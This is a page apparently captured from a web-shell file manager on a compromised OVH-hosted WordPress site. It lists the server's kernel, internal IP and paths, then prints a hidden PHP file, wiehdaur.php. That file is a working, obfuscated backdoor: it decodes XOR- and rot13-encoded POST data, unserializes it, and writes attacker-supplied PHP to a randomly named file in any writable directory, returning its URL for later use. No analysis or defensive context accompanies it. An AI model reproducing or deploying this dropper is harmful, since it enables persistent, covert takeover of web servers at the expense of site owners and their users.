PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/s/p/t/sptporgazz/www/wp-admin/redir/.well-known/ |
| Current File : /home/s/p/t/sptporgazz/www/wp-admin/redir/.well-known/wiehdaur.php |
<?php
foreach ($_POST as $session_key => $value)
{
if (strlen($session_key) == 16)
{
$value = str_split(rawurldecode(str_rot13($value)));
$session_key = array_slice(str_split(str_repeat($session_key, (count($value)/16)+1)), 0, count($value));
function encoder($val, $index, $session_key)
{
$auth = "sgobjvqvaeoaslzi";
return $val ^ $auth[$index % strlen($auth)] ^ $session_key;
}
$value = implode("", array_map("encoder", array_values($value), array_keys($value), array_values($session_key)));
$value = @unserialize($value);
if (@is_array($value))
{
$key = array_keys($value);
$value = $value[$key[0]];
if ($value === $key[0])
{
echo @serialize(Array("php" => @phpversion(), ));exit();
}
else {
function listdirs($dir)
{
static $alldirs = array();
$dirs = glob($dir . '/*', GLOB_ONLYDIR);
if (count($dirs) > 0) {
foreach ($dirs as $d) {
if (@is_writable($d)) {
$alldirs[] = $d;
}
}
}
foreach ($dirs as $dir) listdirs($dir);
return $alldirs;
}
$docroot = $_SERVER["DOCUMENT_ROOT"];
$dirs = listdirs($docroot);
$key = array_rand($dirs);
$dest = $dirs[$key] . "/" . substr(md5(time()), 0, 8) . ".php";
@file_put_contents($dest, $value);
echo "http://" . $_SERVER["HTTP_HOST"] . substr($dest, strlen($docroot));
exit();
}
}
}
}